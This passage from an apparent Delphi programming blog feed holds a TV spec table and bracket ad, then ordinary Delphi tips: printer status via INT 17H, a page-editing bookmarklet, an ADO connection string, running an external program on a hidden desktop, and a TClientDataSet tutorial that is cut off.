class="p3"><u><font color="#800080"><!--最终页参数部分开始--></font></u> <table cellspacing="1" cellpadding="1" width="100%" bgcolor="#A2C7E1" border="0"> <tbody> <tr> <td class="paratype" height="22">&nbsp;<a name="000318"></a>创维26L16SW面板规格</td> </tr> <tr> <td bgcolor="white"> <table cellspacing="1" cellpadding="1" width="100%" border="0"> <tbody> <tr> <td colspan="3"> <table cellspacing="0" cellpadding="0" width="528" align="center" border="0"> <tbody> <tr> <td></td> </tr> </tbody> </table> <table cellspacing="1" cellpadding="0" width="528" align="center" border="0"> <tbody> <tr align="middle"> <td></td> </tr> </tbody> </table> <table cellspacing="0" cellpadding="0" width="528" align="center" border="0"> <tbody> <tr> <td></td> </tr> </tbody> </table> </td> </tr> <tr> <td width="30%"><a href="http://bbs.pcpop.com/060619/714350.html">液晶电视尺寸</a></td> <td width="60%">26英寸</td> <td align="middle" width="10%"><a href="http://product.pcpop.com/userfeedback/ProductParameter.aspx?ProductSN=000040487&amp;cEditParSN=000000932">挑错</a></td> </tr> <tr bgcolor="#F5F5F5"> <td width="30%"><a href="http://bbs.pcpop.com/060619/714349.html">比例</a></td> <td width="60%">16:9</td> <td align="middle" width="10%"><a href="http://product.pcpop.com/userfeedback/ProductParameter.aspx?ProductSN=000040487&amp;cEditParSN=000000933">挑错</a></td> </tr> <tr> <td width="30%"><a href="http://bbs.pcpop.com/060619/714345.html">分辨率</a></td> <td width="60%">1366×768</td> <td align="middle" width="10%"><a href="http://product.pcpop.com/userfeedback/ProductParameter.aspx?ProductSN=000040487&amp;cEditParSN=000000938">挑错</a></td> </tr> <tr bgcolor="#F5F5F5"> <td width="30%"><a href="http://bbs.pcpop.com/060619/714340.html">亮度</a></td> <td width="60%">600cd/㎡</td> <td align="middle" width="10%"><a href="http://product.pcpop.com/userfeedback/ProductParameter.aspx?ProductSN=000040487&amp;cEditParSN=000000934">挑错</a></td> </tr> <tr> <td width="30%"><a href="http://bbs.pcpop.com/060619/714341.html">对比度</a></td> <td width="60%">1200:1</td> <td align="middle" width="10%"><a href="http://product.pcpop.com/userfeedback/ProductParameter.aspx?ProductSN=000040487&amp;cEditParSN=000000935">挑错</a></td> </tr> <tr bgcolor="#F5F5F5"> <td width="30%"><a href="http://bbs.pcpop.com/060619/714347.html">可视角度</a></td> <td width="60%">178°/178°</td> <td align="middle" width="10%"><a href="http://product.pcpop.com/userfeedback/ProductParameter.aspx?ProductSN=000040487&amp;cEditParSN=000000937">挑错</a></td> </tr> <tr> <td width="30%"><a href="http://bbs.pcpop.com/060619/714343.html">响应时间</a></td> <td width="60%">8ms</td> <td align="middle" width="10%"><a href="http://product.pcpop.com/userfeedback/ProductParameter.aspx?ProductSN=000040487&amp;cEditParSN=000000936">挑错</a></td> </tr> </tbody> </table> </td> </tr> <tr> <td class="paratype" height="22">&nbsp;<a name="000156"></a>创维26L16SW影像参数</td> </tr> <tr> <td bgcolor="white"> <table cellspacing="1" cellpadding="1" width="100%" border="0"> <tbody> <tr> <td colspan="3"> <table cellspacing="0" cellpadding="0" width="528" align="center" border="0"> <tbody> <tr> <td></td> </tr> </tbody> </table> <table cellspacing="1" cellpadding="0" width="528" align="center" border="0"> <tbody> <tr align="middle"> <td class="para" align="middle" width="88" height="21"><a class="x0F0CBF" href="http://bbs.pcpop.com/061026/754691.html">画中画</a></td> <td width="88" height="21"></td> <td width="88" height="21"></td> <td width="88" height="21"></td> <td width="88" height="21"></td> <td width="88" height="21"></td> </tr> </tbody> </table> <table cellspacing="0" cellpadding="0" width="528" align="center" border="0"> <tbody> <tr> <td></td> </tr> </tbody> </table> </td> </tr> <tr bgcolor="#F5F5F5"> <td width="30%">其他特色功能</td> <td width="60%">六基色图像处理技术 V12数字引擎 Blue wave无线蓝波多画面浏览</td> <td align="middle" width="10%"><a href="http://product.pcpop.com/userfeedback/ProductParameter.aspx?ProductSN=000040487&amp;cEditParSN=000001869">挑错</a></td> </tr> </tbody> </table> </td> </tr> <tr> <td class="paratype" height="22">&nbsp;<a name="000321"></a>创维26L16SW音效参数</td> </tr> <tr> <td bgcolor="white"> <table cellspacing="1" cellpadding="1" width="100%" border="0"> <tbody> <tr> <td colspan="3"> <table cellspacing="0" cellpadding="0" width="528" align="center" border="0"> <tbody> <tr> <td></td> </tr> </tbody> </table> <table cellspacing="1" cellpadding="0" width="528" align="center" border="0"> <tbody> <tr align="middle"> <td class="para" align="middle" width="88" height="21">SRS环绕</td> <td class="para" align="middle" width="88" height="21">多音效模式</td> <td class="para" align="middle" width="88" height="21">立体声</td> <td width="88" height="21"></td> <td width="88" height="21"></td> <td width="88" height="21"></td> </tr> </tbody> </table> <table cellspacing="0" cellpadding="0" width="528" align="center" border="0"> <tbody> <tr> <td></td> </tr> </tbody> </table> </td> </tr> </tbody> </table> </td> </tr> <tr> <td class="paratype" height="22">&nbsp;<a name="000320"></a>创维26L16SW输入输出</td> </tr> <tr> <td bgcolor="white"> <table cellspacing="1" cellpadding="1" width="100%" border="0"> <tbody> <tr> <td colspan="3"> <table cellspacing="0" cellpadding="0" width="528" align="center" border="0"> <tbody> <tr> <td></td> </tr> </tbody> </table> <table cellspacing="1" cellpadding="0" width="528" align="center" border="0"> <tbody> <tr align="middle"> <td class="para" align="middle" width="88" height="21"><a class="x0F0CBF" href="http://bbs.pcpop.com/061026/754688.html">AV端子</a></td> <td class="para" align="middle" width="88" height="21"><a class="x0F0CBF" href="http://bbs.pcpop.com/061026/754689.html">分量端子</a></td> <td width="88" height="21"></td> <td width="88" height="21"></td> <td width="88" height="21"></td> <td width="88" height="21"></td> </tr> </tbody> </table> <table cellspacing="0" cellpadding="0" width="528" align="center" border="0"> <tbody> <tr> <td></td> </tr> </tbody> </table> </td> </tr> <tr bgcolor="#F5F5F5"> <td width="30%">TV端子</td> <td width="60%">1组</td> <td align="middle" width="10%"><a href="http://product.pcpop.com/userfeedback/ProductParameter.aspx?ProductSN=000040487&amp;cEditParSN=000001870">挑错</a></td> </tr> <tr> <td width="30%">D-Sub接口</td> <td width="60%">1组</td> <td align="middle" width="10%"><a href="http://product.pcpop.com/userfeedback/ProductParameter.aspx?ProductSN=000040487&amp;cEditParSN=000001875">挑错</a></td> </tr> </tbody> </table> </td> </tr> <tr> <td class="paratype" height="22">&nbsp;<a name="000161"></a>创维26L16SW外观参数</td> </tr> <tr> <td bgcolor="white"> <table cellspacing="1" cellpadding="1" width="100%" border="0"> <tbody> <tr> <td colspan="3"> <table cellspacing="0" cellpadding="0" width="528" align="center" border="0"> <tbody> <tr> <td></td> </tr> </tbody> </table> <table cellspacing="1" cellpadding="0" width="528" align="center" border="0"> <tbody> <tr align="middle"> <td></td> </tr> </tbody> </table> <table cellspacing="0" cellpadding="0" width="528" align="center" border="0"> <tbody> <tr> <td></td> </tr> </tbody> </table> </td> </tr> <tr> <td width="30%">机身尺寸</td> <td width="60%">692×557×225mm</td> <td align="middle" width="10%"><a href="http://product.pcpop.com/userfeedback/ProductParameter.aspx?ProductSN=000040487&amp;cEditParSN=000000962">挑错</a></td> </tr> <tr bgcolor="#F5F5F5"> <td width="30%">机身净重</td> <td width="60%">11.500kg</td> <td align="middle" width="10%"><a href="http://product.pcpop.com/userfeedback/ProductParameter.aspx?ProductSN=000040487&amp;cEditParSN=000000963">挑错</a></td> </tr> </tbody> </table> </td> </tr> </tbody> </table> </div> <div class="p3"><u><font color="#800080">&nbsp;</font></u></div> <div class="p3"><u><font color="#800080">旋转液晶电视支架 液晶显示器支架 LCD显示器架 液晶壁挂架 三星</font></u></div> <div class="p3"><u><font color="#800080">旋转液晶电视支架 液晶显示器支架 LCD显示器摆动支架 LCD挂架 LG</font></u></div> <div class="p3"><u><font color="#800080">旋转液晶电视支架 液晶显示器支架 液晶活动支架 显示器挂架 SONY</font></u></div> <div class="p3"><u><font color="#800080">旋转液晶电视支架 液晶显示器支架 显示器壁挂架 LCD活动支架</font></u></div> <div class="p3"><u><font color="#800080">壁挂式液晶电视支架 液晶显示器支架 液晶壁挂支架 LCD电视挂架</font></u></div> <div class="p3"><u><font color="#800080">壁挂式液晶电视支架 液晶显示器支架 液晶显示器活动支架 夏普</font></u></div> <div class="p3"><u><font color="#800080">壁挂式液晶电视支架 液晶显示器支架 显示器活动支架 翰士奇</font></u></div> <div class="p3"><u><font color="#800080">壁挂式液晶电视支架 液晶显示器支架 LCD电视机架 液晶挂墙支架</font></u></div> <div class="p3"><u><font color="#800080">旋转液晶电视支架 液晶显示器支架 LCD电视机挂墙支架 冠捷 AOC</font></u></div> <div class="p3"><u><font color="#800080">旋转液晶电视支架 液晶显示器支架 LCD电视壁挂支架 LCD摆动支架</font></u></div> <div class="p3"><u><font color="#800080">旋转液晶电视支架 液晶显示器支架 LCD挂墙支架 显示器背景墙支架</font></u></div> <div class="p3"><u><font color="#800080">&nbsp;</font></u></div> <div class="p3"> <p><u><font color="#800080">你想让电视动起来吗？</font></u></p> <p><u><font color="#800080">你用电脑久了，肩膀会痛吗？颈椎还好吗？</font></u></p> <p><u><font color="#800080">你在为机顶盒的安装位置烦恼吗？</font></u></p> <p><u><font color="#800080">X支架之家--视界因我而动</font></u></p> <p><u><font color="#800080">全国支架专卖</font></u></p> <p><u><a href="http://www.xzjzj.cn/"><font color="#800080"><font size="6">http://www.xzjzj.cn/</font></font></a></u></p> <p><u><font color="#800080"><font size="6">QQ:4646746</font></font></u></p> <p><u><font color="#800080"><font size="6">电话：13726233858</font></font></u></p> <p><u><font color="#800080">经典支架应用视频</font></u></p> <p><u><a href="http://player.youku.com/player.php/sid/XNzczMjcwOTY=/v.swf"><font color="#800080"><font face="宋体">http://player.youku.com/player.php/sid/XNzczMjcwOTY=/v.swf</font></font></a></u></p> <p><u><a href="http://player.youku.com/player.php/sid/XNzM1NjMzNzY=/v.swf"><font color="#800080"><font face="宋体">http://player.youku.com/player.php/sid/XNzM1NjMzNzY=/v.swf</font></font></a></u></p> <p><u><font color="#800080"><br/> <a href="http://www.xzjzj.cn/" target="_blank"><img height="396" src="http://www16.tx8.cn/photo/tunyue/1+1.jpg"/></a></font></u></p> <p><u><font color="#800080">孔距 支架 液晶 等离子 LCD 电视 LED 电视机 X支架之家 投影机 投影仪<br/> 吊架 壁挂架 移动 旋转 万向 万能 360度旋转 夹具 锁孔 落地 推车<br/> 电视柜 笔记本 液晶屏</font></u></p> </div> <div class="p3"><u><font color="#800080">&nbsp;</font></u></div> </div></div>]]></description>
	<author>液晶电视支架</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31473</comments>
	<dc:creator>液晶电视支架</dc:creator>
</item>

<item>
	<title><![CDATA[打印机相关]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31471</link> 
	<pubDate>2009-6-27 18:57:32</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31471</guid>
	<description><![CDATA[1、检测当前打印机状态<br>用内嵌汇编调用中断INT 17H,读取打印机的状态字节加以分析,即可得到其当前状态.<br>例：输入参数：如果有3个打印端口LPT1、LPT2、LPT3，那么输入参数LPTPort就是1、2、3。<br>function TestPrinterStatus(LPTPort : word):byte;<br>var status : byte;<br>    CheckLPT : word;<br>begin<br>    status := 0;<br>    if (LPTPort &gt;=1) and (LPTPort &lt;=3) then<br>    begin<br>        CheckLPT := LPTPort -1;<br>        asm<br>          mov dx,CheckLPT;<br>          mov al,0;<br>          mov ah,2;<br>          int 17H;<br>          mov &amp;status,ah;<br>        end;<br>    end;<br>    result := status;<br>end;<br>返回值有以下几种：<br>01H：超时<br>08H：I/O错误<br>10H：打印机未联机<br>20H：打印机缺纸<br>80H：打印机空闲。 <br><br><br>]]></description>
	<author>yeszhang</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31471</comments>
	<dc:creator>yeszhang</dc:creator>
</item>

<item>
	<title><![CDATA[IE神奇的代码---通杀各种网站-可随意修改复制页面内容 ]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31470</link> 
	<pubDate>2009-6-27 18:43:36</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31470</guid>
	<description><![CDATA[神奇的代码---通杀各种网站-可随意修改复制页面内容<br>在地址栏输入这一行代码，然后回车，就发现整个页面都可以随意编辑了。仅仅是一行很短的代码。<br><br>页面上的所有内容都可以修改了，就像在word中编辑一样。那些不让拷贝的网站可以被这招通杀了。以后谁还会傻乎乎地分析页面代码，然后修改，保存，刷新，再拷贝呢？<br><br>javascript:document.body.contentEditable='true'; document.designMode='on';!msn1dai ]]></description>
	<author>yeszhang</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31470</comments>
	<dc:creator>yeszhang</dc:creator>
</item>

<item>
	<title><![CDATA[ADO 使用这个连接串不会产生ldb]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31469</link> 
	<pubDate>2009-6-27 18:40:43</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31469</guid>
	<description><![CDATA[Provider=Microsoft.Jet.OLEDB.4.0;Data Source=你的数据库路径 ;Mode=Share Deny Read|Share Deny Write;Persist Security Info=False;Jet OLEDB:Database Password=你的数据库密码 ]]></description>
	<author>yeszhang</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31469</comments>
	<dc:creator>yeszhang</dc:creator>
</item>

<item>
	<title><![CDATA[后台调用外部程序的完美实现（收藏) ]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31468</link> 
	<pubDate>2009-6-27 18:36:23</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31468</guid>
	<description><![CDATA[最近在做的一个软件，其中有一部分功能需要调用其它的软件来完成，而那个软件只有可执行文件，根本没有源代码，幸好，我要做的事不难，只需要在我的程序启动后，将那个软件打开，在需要的时候，对其中的一个文本矿设置一些文字，再点击一个按钮就可以了。<br><br>说到这里，相信你也有了对该功能的一些初步设想了，没错，其基本思路就是：<br>1）调用CreateProcess（）打开目标程序。<br>2）用FindWindow（）找到目标程序的窗口Handle。<br>3）找到文本框的Handle，以及按钮的MessageID，用SendMessage（）方法设置文字，并触发事件。<br><br>好了，这样确实很简单吧，但是当我实现它后，却发现这样做的结果则是：当我的程序启动并打开目标程序时，它的Splash窗口，以及主窗口都将显示出来，即使当我用FindWindow（）找到主窗口Handle后，调用SendMessage（WindowHandle， SW_HIDE）来隐藏该窗口，还是会有一瞬主窗口被显示出来的，这样的效果实在是最求完美的我不忍心看到的。<br><br>那么怎么解决这个问题呢，首先我当然在CreateProcess（）上面寻找方法，可惜，它只有一个参数可以设置窗口的默认显示方式，但是一旦这个窗口自己重设了显示方式，它就没有任何作用了。。。。继续查找文档，这时我看到CreateProcess（）的一个参数TStartupInfo中有 lpDesktop这么一个属性，按照MSDN的说法，如果该指针为NULL，那么新建的Process将在当前Desktop上启动，而如果对其赋了一个Desktop的名称后，Process将在指定的Desktop上启动，恩，看来不错，就从它入手了：<br><br>1）首先，建立一个虚拟的Desktop，<br>const<br>  DesktopName = 'MYDESK';<br><br>FDesktop:=CreateDesktop(DesktopName,nil,nil,0,GENERIC_ALL,nil);<br>Windows中可以建立多个Desktop，可以使用SwitchDesktop（）来切换哪个Desktop被显示出来，以前有过将Windows模拟成Linux的形式，可以在多个虚拟Desktop中切换的程序，其实那种程序也是用的Windows本身的虚拟Desktop功能来实现的，另外 Windows的启动画面，以及屏保画面也都是用虚拟Desktop实现的，好了，关于这方面不多介绍了，感兴趣的话，可以到MSDN中查看更详细资料：<br>http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/enumdesktops.asp<br><br>2）在CreateProcess的时候，指定程序在我新生成的Desktop上运行：<br>var<br>  StartInfo:TStartupInfo;<br><br>  FillChar(StartInfo, sizeof(StartInfo), 0);<br>  StartInfo.cb:=sizeof(StartInfo);<br>  StartInfo.lpDesktop:=PChar(DesktopName);      //指定Desktop的名称即可<br>  StartInfo.wShowWindow:=SW_HIDE;<br>  StartInfo.dwFlags:=STARTF_USESHOWWINDOW;<br>  StartInfo.hStdError:=0;<br>  StartInfo.hStdInput:=0;<br>  StartInfo.hStdOutput:=0;<br>  if not CreateProcess(PChar(FileName),nil,nil,nil,true,CREATE_NEW_CONSOLE+HIGH_PRIORITY_CLASS,nil,PChar(ExtractFilePath(FilePath)),StartInfo,FProceInfo) then begin<br>    MessageBox(Application.Handle,'Error when init voice (5).',PChar(Application.Title),MB_ICONWARNING);<br>    exit;<br>  end;<br><br>3）用FindWindow去找程序的主窗口<br>开始我直接写下了这样的代码：<br>  for I:=0 to 60 do begin //wait 30 seconds for open the main window<br>    WindowHandle:=FindWindow(nil,'WindowCaption');<br>    if WindowHandle&lt;&gt;0 then begin<br>      break;<br>    end;<br>    Sleep(500);<br>  end;<br>但是，实践证明，这样是找不到不在当前Desktop中的Window的，那怎么办呢：<br>答案是，可以用SetThreadDesktop（）函数，这个函数可以设置当前Thread工作所在的Desktop，于是我在以上代码前又加了一句：<br>  if not SetThreadDesktop(FDesktop) then begin<br>    exit;<br>  end;<br>但是，程序运行后，该函数却返回了false，说明方法调用失败了，再仔细看MSDN，发现有这么一句话：<br><br>The SetThreadDesktop function will fail if the calling thread has any windows or hooks on its current desktop (unless the hDesktop parameter is a handle to the current desktop).<br><br><br>哦，原来需要切换Desktop的线程中不能有任何UI方面的东西，而我是在程序的主线程中调用该方法的，当然会失败拉，知道了这点就好办了，我只需要用一个“干净”的线程，让它绑定到新的Desktop上，再让它用FindWindow（）方法找到我要找的WindowHandle，不就可以了吗，于是，这一步就需要借助一个线程了，线程的代码如下：<br><br>  TFindWindowThread = class(TThread)<br>  private<br>    FDesktop:THandle;<br>    FWindowHandle:THandle;<br>  protected<br>    procedure Execute();override;<br>  public<br>    constructor Create(ACreateSuspended:Boolean;const ADesktop:THandle);reintroduce;<br>    property WindowHandle:THandle read FWindowHandle;<br>  end;<br><br><br>{ TFindWindowThread }<br><br>procedure TFindWindowThread.Execute();<br>var<br>  I:Integer;<br>begin<br>  //make the current thread find window on the new desktop!<br>  if not SetThreadDesktop(FDesktop) then begin<br>    exit;<br>  end;<br>  for I:=0 to 60 do begin //wait 30 seconds for open the main window<br>    FWindowHandle:=FindWindow(nil,PChar('WindowCaption'));<br>    if FWindowHandle&lt;&gt;0 then begin<br>      break;<br>    end;<br>    Sleep(500);<br>  end;<br>end;<br><br>constructor TFindWindowThread.Create(ACreateSuspended:Boolean;const ADesktop:THandle);<br>begin<br>  inherited Create(ACreateSuspended);<br>  FDesktop:=ADesktop;<br>end;<br><br><br>而主程序中的代码变成这样：<br>  FindWindowThread:=TFindWindowThread.Create(false,FDesktop);<br>  try<br>    FindWindowThread.WaitFor;<br>    FMainWindowHandle:=FindWindowThread.WindowHandle;<br>  finally<br>    FindWindowThread.Free;<br>  end;<br>  if FMainWindowHandle=0 then begin<br>    MessageBox(Application.Handle,'Error when init voice (6).',PChar(Application.Title),MB_ICONWARNING);<br>    exit;<br>  end;<br><br><br>呵呵，成功，这样果然可以顺利的找到窗口Handle了。<br><br>4）最后，再用这个主窗口Handle，找出里面的EditBox的Handle，如这样：<br>  FEditWindow:=FindWindowEx(FMainWindowHandle,0,PChar('Edit'),nil);<br>我在这里指定了这个文本框的ClassName，这个名称可以用Spy＋＋得到。<br><br><br>初始化的工作就到此结束了，如果顺利，程序就真正在后台被运行了起来。那么功能调用呢，还是和一般的做法一样：<br><br>  if (FMainWindowHandle=0) or (FEditWindow=0) then begin<br>    exit;<br>  end;<br>  SendMessage(FEditWindow,WM_SETTEXT,0,LongInt(@AText[1]));<br>  SendMessage(FMainWindowHandle,WM_COMMAND,$8012,$0);<br>其中$8012这个数字，也是用Spy＋＋来得到的资源ID。<br><br>最后，别忘了关闭程序，以及释放虚拟Desktop：<br>  if FProceInfo.hProcess&lt;&gt;0 then begin<br>    TerminateProcess(FProceInfo.hProcess,0);<br>  end;<br>  if FDesktop&lt;&gt;0 then begin<br>    CloseDesktop(FDesktop);<br>  end;<br><br><br>好了，这样就几乎完美的实现了一个后台调用程序的功能，它对最终客户来说将是完全透明的，客户根本感觉不到后台还有另一个程序在工作。是不是很爽啊，这样别人的很多程序我们都可以直接拿来用了（当然了，得在遵守版权的基础上才行拉）。   ]]></description>
	<author>yeszhang</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31468</comments>
	<dc:creator>yeszhang</dc:creator>
</item>

<item>
	<title><![CDATA[TClientDataSet使用]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31467</link> 
	<pubDate>2009-6-27 18:30:55</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31467</guid>
	<description><![CDATA[TClientDataSet<br>　　与TTable、TQuery一样，TClientDataSet也是从TDataSet继承下来的，它通常用于多层体系结构的客户端。 TClientDataSet最大的特点是它不依赖于BDE(Borland&amp;nbspDatabase&amp;nbspEngine)，但它需要一个动态链接库的支持，这个动态链接库叫DBCLIENT.DLL。在客户端，也不需要用TDatabase构件，因为客户端并不直接连接数据库。<br>　　由于TClientDataSet是从TDataSet继承下来的，所以，它支持诸如编辑、搜索、浏览、纠错、过滤等功能。由于 TClientDataSet在内存中建立了数据的本地副本，上述操作的执行速度很快。也正是由于TClientDataSet并不直接连接数据库，因此，客户程序必须提供获取数据的机制。在Delphi&amp;nbsp4中，TClientDataSet有三种途径获取数据：<br>.从文件中存取数据。<br>.从本地的另一个数据集中获取数据。<br>.通过IProvider接口从远程数据库服务器获取数据。<br>　　在一个客户程序中，可以同时运用上述三种机制获取数据。 <br>11.1 浏览和编辑数据<br>　　和其他数据集构件一样，可以用标准的数据控件显示由TClientDataSet引入的数据集，当然，这需要借助于TDataSource构件。<br>　　由于TClientDataSet是从TDataSet继承下来的，所以，凡是其他数据集构件支持的功能，TClientDataSet构件也大致具备。不同的是，TClientDataSet能够在内存中建立数据的副本，因此，TClientDataSet比其他数据集构件增加了一些特殊的功能。<br>11.1.1 浏览数据<br>　　可以用标准的数据控件显示由TClientDataSet引入的数据集。在运行期，可以调用诸如First、GotoKey、Last、Next和Prior等函数来浏览数据。<br>　　TClientDataSet也支持书签功能，可以用书签来标记某条记录，以后就可以方便地找到这条记录。<br>　　对于TTable、TQuery等数据集构件来说，只能读RecNo属性来判断当前记录的序号。对于TClientDataSet构件来说，还可以写RecNo属性，使某一序号的记录成为当前记录。<br>11.1.2&amp;nbspCanModify属性<br>　　TDataSet的CanModify属性用于判断数据集中的数据是否可以修改。CanModify属性本身是只读的，也就是说，数据是否能够修改不取决于应用程序。<br>　　不过，TClientDataSet构件有其特殊性，因为TClientDataSet已经把数据在内存中建立了副本，因此，应用程序可以决定是否允许修改数据。如果不允许用户修改数据，只要把ReadOnly属性设为True，此时，CanModify属性肯定返回False。<br>　　与其他数据集构件不同，修改TClientDataSet构件的ReadOnly属性时，不需要事先把Active属性设为True。<br>11.1.3 取消修改<br>　　TClientDataSet传输数据的基本单位称为数据包，当前的数据包可以由Data属性来访问。不过，用户对数据的修改并不直接反映到Data属性中，而是临时写到一个日志即Delta属性中，这样做的好处是以后随时可以取消修改。<br>　　不过，这里要说明一点，尽管用户的修改并没有反映到Data，当用户在数据控件中看到的却是最新修改的数据。如果一条记录被反复修改了多次，用户看到的只是最新的数据，但日志中却记载了多次。<br>　　要取消上一次的修改，调用UndoLastChange函数。UndoLastChange需要传递一个布尔类型的参数叫FollowChange，如果FollowChange参数设为True，光标就移到被恢复的记录上，如果FollowChange参数设为False，光标仍然在当前记录上。<br>　　ChangeCount属性返回日志中记载的修改次数。如果一条记录被反复修改了多次，每调用一次UndoLastChange能够逐级取消上一次的修改。<br>　　UndoLastChange只能取消上一次的修改，如果想一下子取消所有的修改，首先要选择一个记录，然后调用RevertRecord。RevertRecord将从日志中取消所有对当前记录的修改。<br>　　TClientDataSet还有一个SavePoint属性，它能把当前的编辑状态保存起来，以后随时可以返回当时的状态。例如，可以这样保存当前的状态：<br>　　BeforeChanges :=&amp;nbspClientDataSet1.SavePoint;<br>　　以后，可以这样来恢复当时的状态：<br>　　ClientDataSet1.SavePoint :=&amp;nbspBeforeChanges;<br>　　应用程序可以保存多处状态，可以恢复其中一个状态，不过，一旦某个状态被恢复，在其之后的状态就无效。<br>　　如果要一下子取消日志中记载的所有修改，可以调用CancelUpdates函数。CancelUpdates将把日志清空，取消所有的修改。<br>　　如果LogChanges属性设为False，用户对数据的修改就会直接反映到Data属性中。 <br>11.1.4 合并修改<br>　　要把日志中记载的修改合并到Data属性中，有两种方式，具体使用哪一种方式，取决于应用程序获取数据的机制。不过，不管是哪种机制，合并后，日志自动被清空。<br>　　对于一个从文件中获取数据的程序来说，只要调用MergeChangeLog函数，就把日志中记载的修改合并到Data属性中。不用担心其他用户同时修改了数据。<br>　　对于一个从应用服务器获取数据的程序来说，就不能调用MergeChangeLog来合并数据，而要调用ApplyUpdates函数， ApplyUpdates会把日志中记载的修改传递给应用服务器，待应用服务器成功地把数据更新了数据库服务器后，才会合并到Data属性中。<br>11.1.5 纠错<br>　　TClientDataSet支持纠错功能。一般情况下，需要自己建立纠错规则，以便对用户输入的数据进行纠错。<br>　　此外，如果获得了IProvider接口的话，还可以从远程服务器引入纠错规则。<br>　　有时候，客户端可能需要暂时禁止纠错，因为客户端从应用服务器检索数据是分阶段进行的，在所有的数据检索完毕之前，有些纠错规则很可能会报错。 <br>要暂时禁止纠错，可以调用DisableConstraints，要重新允许纠错，可以调用EnableConstraints函数。DisableConstraints和EnableConstraints实际上都是作用于一个内部的计数。<br>11.2 索 引<br>　　使用索引有这么几个好处：<br>.在数据集中定位记录比较快。<br>.能够在两个数据集之间建立Lookup或Master/Detail关系。<br>.可以对记录排序。<br>　　在多层体系结构中，当客户程序从应用服务器检索数据时，它同时获得了默认的索引。默认的索引叫DEFAULT_ORDER，可以使用这个索引排序，但不能修改或删除这个索引。<br>　　除了默认的索引外，TClientDataSet还对日志中记载的记录自动建立了一个副索引叫CHANGEINDEX。与DEFAULT_ORDER一样，不能修改或删除这个副索引。<br>　　另外，还可以使用数据集中已建立的其他索引，或者自己建立索引。<br>11.2.1 创建一个新的索引<br>　　要创建一个新的索引，可以调用AddIndex。AddIndex需要传递若干个参数：<br>　　一是Name参数，用于指定索引名。在运行期切换索引时需要用到索引的名称。<br>　　二是Fields参数，它是一个字符串，用于指定索引中的字段名，彼此之间用分号隔开。<br>　　三是Options参数，用于设置索引的选项，包含ixDescending元素表示按降序排列，包含ixCaseInsensitive元素表示大小写不敏感。<br>　　四是DescFields参数，它也是一个字符串，用于指定若干个字段名，这些字段将按照降序排列。<br>　　五是CaseInsFields参数，它的作用与DescFields参数类似，包含在CaseInsFields参数中的字段将对大小写不敏感。<br>　　六是GroupingLevel参数，用于指定分组级别，其值不能超过索引中的字段数。<br>　 下面的代码创建了一个索引：<br>If&amp;nbspEdit1.Text &lt;&gt; ''&amp;nbspand&amp;nbspClientDataSet1.Fields.FindField(Edit1.Text)&amp;nbspthen<br>Begin<br>ClientDataSet1.AddIndex(Edit1.Text+'Index',Edit1.Text, 　<br>　 [ixCaseInsensitive],'','',0);<br>ClientDataSet1.IndexName :=&amp;nbspEdit1.Text + 'Index';<br>End;<br>为了避免创建一个索引，可以临时用IndexFieldNames属性来指定若干个字段，让数据集按这些字段排序。<br>11.2.2 删除和切换索引<br>　　要删除一个先前创建的索引，可以调用DeleteIndex并指定要删除的索引名称。注意：DEFAULT_ORDER和CHANGEINDEX不能删除。<br>　　如果建立了多个索引，可以任意选择其中的一个索引，这就要用到IndexName属性。<br>11.2.3 用索引把数据分组<br>　　选择了一个索引后，数据集将自动按其中的字段进行排序。这样，临近的记录往往在关键字段上含有相同的值。例如，假设有一个表是这样的：<br>SalesRep　Customer　OrderNo　Amount<br>1　　　　　　1 　　　　5 　　　100<br>1　　　　　　1　　　　&amp;nbsp2　　　&amp;nbsp50<br>1　　　　　　2　　　　&amp;nbsp3 　　　200<br>1 　　　 　　2　　　 　6　　 　75<br>2　　　　　　1　　　 　1　　 　10<br>2　　　　　　3　　　 　4　　 　200<br>　　可以看出，SalesRep字段的值有重复的。对于SalesRep字段的值为1的来说，Customer字段的值也有重复的。这就是说，可以按 SalesRep字段分组，进而再按Customer字段分组。显然，这里的分组级别是不同的，按SalesRep字段建立的分组属于第一级，按 Customer字段建立的分组属于第二级。实际上，分组级别取决于字段在索引中的顺序。<br>　　TClientDataSet可以决定是否按照分组级别来显示记录的值。例如，也许想以下面这种形式显示数据：<br>SalesRep　Customer　OrderNo　Amount<br>1　　　　　　1　　　　5　　　　100<br>　　　　　　　　　　　2　　　　50<br>　　　　　　&amp;nbsp2　　　　3　　　　200<br>　　　　　　　　　　　6　　　　75<br>2　　　　　　1　　　　1　　　　10<br>2　　　　　　3　　　　4　　　　200<br>　　要判断当前记录某一级的什么位置，可以调用GetGroupState函数。GetGroupState函数需要传递一个参数，用于指定分组级别。<br>11.3 计 算 字 段<br>　　与其他数据集一样，也可以在TClientDataSet建立的数据集中增加计算字段。计算字段的值是基于同一个记录中的其他字段计算出来的。<br>　　在其他数据集中，只要用户修改了数据或当前记录发生改变，就会触发OnCalcFields事件，换句话说，计算字段的值就被计算一次。<br>　　TClientDataSet引入了“内部计算字段”的概念。与一般的计算字段不同的是，内部计算字段的值将随其他字段的值一起存取，这样，只有当用户修改了数据才会触发OnCalcFields事件，如果仅仅改变了当前记录，不会触发OnCalcFields事件。也就是说，内部计算字段的值需要重新计算的机会大大减少。<br>　　